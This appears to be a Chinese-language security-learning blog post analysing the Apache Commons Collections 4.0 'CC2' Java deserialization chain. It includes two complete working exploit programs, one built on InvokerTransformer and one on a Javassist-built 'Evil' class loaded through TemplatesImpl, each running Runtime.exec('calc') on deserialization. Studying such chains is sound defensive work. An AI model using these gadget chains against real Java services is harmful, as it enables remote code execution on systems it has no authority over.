环境准备
CC2使用的是PriorityQueue和javassist来构造利用链,且对jdk版本要求没这么严格了,这里我继续沿用之前做CC1用的jdk8u-65
然后用的是commons-collections 4.0,因为只有4.0版本开始,TransformingComparator才支持序列化,从而能够被序列化流利用,完成包括通过PriorityQueue触发执行链的步骤
修改pom.xml文件
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
然后在Maven同步项目即可
利用链1
初步探索
首先我们讲链1,这条链不需要用到Javassist,会简单一些
反序列化入口地点为PriorityQueue.readObject()

最后调用了heapify()方法,继续跟进看看

>>>是无符号右移,>>是有符号右移,size >>> 1表示将变量 size 的二进制位整体向右移动1位,也就是除以二保留整数。又因为要求i >= 0,也就是size除以2保留整数然后减一要大于等于0,计算得到i >= 2才可以进入循环,这个要记住,后面会用到
发现调用siftDown()方法,继续跟进

可以看到有两个方法,我们先跟进siftDownUsingComparator

调用了comparator.compare()方法,跟进comparator看看定义

继续查看Comparator,发现是个接口,compare是它的抽象方法

接下来就是查找有哪些类实现了compare方法且可以被后续利用,发现TransformingComparator类符合要求

调用了transformer.transform(),接下来就跟CC1剩下的步骤一样,用InvokerTransformer.transform()来调用危险函数
我们先看看CC1的利用链,如果忘记了如何构造链子可以看Java反序列化 CC1链分析

再看看我们构造的CC2链

从ChainedTransformer.transform()一直到后面都是一样的,那我们可以先尝试构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(1, transformingComparator); queue.add(1); queue.add(2);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); } try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
|
但是如果运行的话,会直接弹出两个计算器,而且我们想要的cc2.ser也没有生成

终端还弹出了个异常

那我们怎么解决,接下来深入分析一下
逐步完善
先讲讲异常,PriorityQueue在 Java 中要求元素要么实现 Comparable 接口,要么在构造时提供 Comparator,但是由于Runtime.exec返回ProcessImpl实例,因此TransformingComparator的transform返回的是ProcessImpl,不是Comparable,所以抛出ClassCastException,后面调试时也可以看到
问AI解释如下

接下来就是为什么不生成cc2.ser,我们在PriorityQueue的add函数打个断点调试

当执行到queue.add(2),offer()进入了else分支

继续跟进,因为comparator不为null,进入siftUpUsingComparator方法

继续跟,可以看到调用了comparator.compare()

再次跟进,发现调用了transformer.transform,两个transform对应弹出两个计算器

接下来调用decorated.compare来比较,但是因为两个都是ProcessImpl,无法比较,所以抛出异常结束
这也就导致后面的序列化和反序列化无法正常执行,因此我们要想办法绕过siftUpUsingComparator方法,让其先不要这么早抛出错误
由前面可知,当comparator为null会进入siftDownComparable方法,我们跟进看一下

可以看到最后进行了赋值操作,没有调用compare方法。那我们可以把queue的comparator参数先去掉,让其先不要进入siftUpUsingComparator方法,然后通过反射给comparator赋值即可
1 2 3
| Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformingComparator);
|
这次成功进入siftUpComparable方法

后面也是成功执行序列化和反序列化

最终利用
综上,我们得到完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class Main { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformingComparator);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); }
try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
|
利用链2
接下来就是第二条利用链,需要用到Javassist来动态创建类,这条链比第一条要难上一些,我们逐步分析
什么是Javassist
Javassist是一个开源的Java字节码操作库,主要用于在Java程序中动态创建和修改类。它的特点是使用简单,开发者不需要深入了解虚拟机指令,能够像写Java代码一样直接插入代码片段来动态生成新类或改变已有类的结构。换句话说,Javassist确实是一个可以动态创建类的工具库,它允许在运行时生成类的字节码并加载到JVM中,支持添加字段、方法、构造函数等操作,实现动态字节码修改和类的动态定义
举个例子
1 2 3 4 5 6
| ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get("Hello"); CtMethod m = cc.getDeclaredMethod("say"); m.insertBefore("{ System.out.println(\"Hello.say():\"); }"); Class clazz = cc.toClass(); Object obj = clazz.newInstance();
|
这里,Hello类的say方法被插入打印语句,随后调用toClass(),把修改后的类加载成Java类,并创建其实例
需要知道的是,用makeClassInitializer()插入代码,最终生成的类就有static块,存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用。先记住,我们后面会用到
过程分析
这条链的核心是TemplatesImpl类的newTransformer()方法
我们看到有个getTransletInstance()方法,跟进去看看

当_name不为null且_class等于null时,会执行函数defineTransletClasses(),继续跟进去看看

要求_bytecodes不为null,然后通过loader.defineClass()将字节数组还原成Class对象,接着尝试获取父类,检测是否为ABSTRACT_TRANSLET,通过则_transletIndex = i

最后回到getTransletInstance()方法继续执行,将我们动态创建的类实例化,并执行写入的static代码

代码构造
我们回到一开始,反序列化的入口为PriorityQueue.readObject(),刚开始的构造步骤跟链1一样,就不细讲了,这里放个我自己简单做的图,可以快速回忆一下

不同的是InvokerTransformer类这里,我们不是直接调用Runtime执行命令,而是要在这里调用TemplatesImpl的newTransformer()方法,因此需要传入iMethodName,我们看看InvokerTransformer的构造器

是private方法,接下来就是通过反射来实现,构建代码如下
1 2 3
| Constructor invokerTransformerConstructor = InvokerTransformer.class.getDeclaredConstructor(String.class); invokerTransformerConstructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) invokerTransformerConstructor.newInstance("newTransformer");
|
然后把链1传给TransformingComparator的参数改一下,传入我们写的transformer
1 2
| TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1);
|
为了后面能方便地通过反射修改私有字段,我们写一个函数
1 2 3 4 5
| public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
|
接下来就要用到Javassist了,构造代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile();
byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
|
实例化之后效果如下

接着根据我们前面的分析过程,尝试实例化TemplatesImpl()并修改相关字段,_bytecodes为前面Javassist那里写的targetByteCodes恶意字节码
1 2 3 4
| TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes);
|
然后对于TransformingComparator.compare()的obj1,我们传入实例化的TemplatesImpl,也就是templates,obj2就随便传个1。同样的,我们也是通过反射来设置,绕过add()方法,直接构建反序列化所需的状态
1 2 3 4
| Object[] array = new Object[]{templates, 1}; setFieldValue(queue, "queue", array); setFieldValue(queue, "size", 2); setFieldValue(queue, "comparator", transformingComparator);
|
最后,我们画个图来直观感受一下

最终利用
把前面的代码整理合并一起,得到完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| public class Main { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); String rename = "Evil" + System.nanoTime(); cc.setName(rename); cc.writeFile(); byte[] bytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{bytes};
Constructor invokerTransformerConstructor = InvokerTransformer.class.getDeclaredConstructor(String.class); invokerTransformerConstructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) invokerTransformerConstructor.newInstance("newTransformer");
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1);
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", targetByteCodes);
Object[] array = new Object[]{templates, 1}; setFieldValue(queue, "queue", array); setFieldValue(queue, "size", 2); setFieldValue(queue, "comparator", transformingComparator);
try{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); }catch (Exception e){ e.printStackTrace(); }
try{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser")); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); }
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
验证一下,成功执行

总结
这次的审计相比CC1更快了,多阅读代码对自己帮助挺大的,同时一通审计下来发现思路真的很妙,很惊叹CC链作者的脑洞,还得继续努力,加油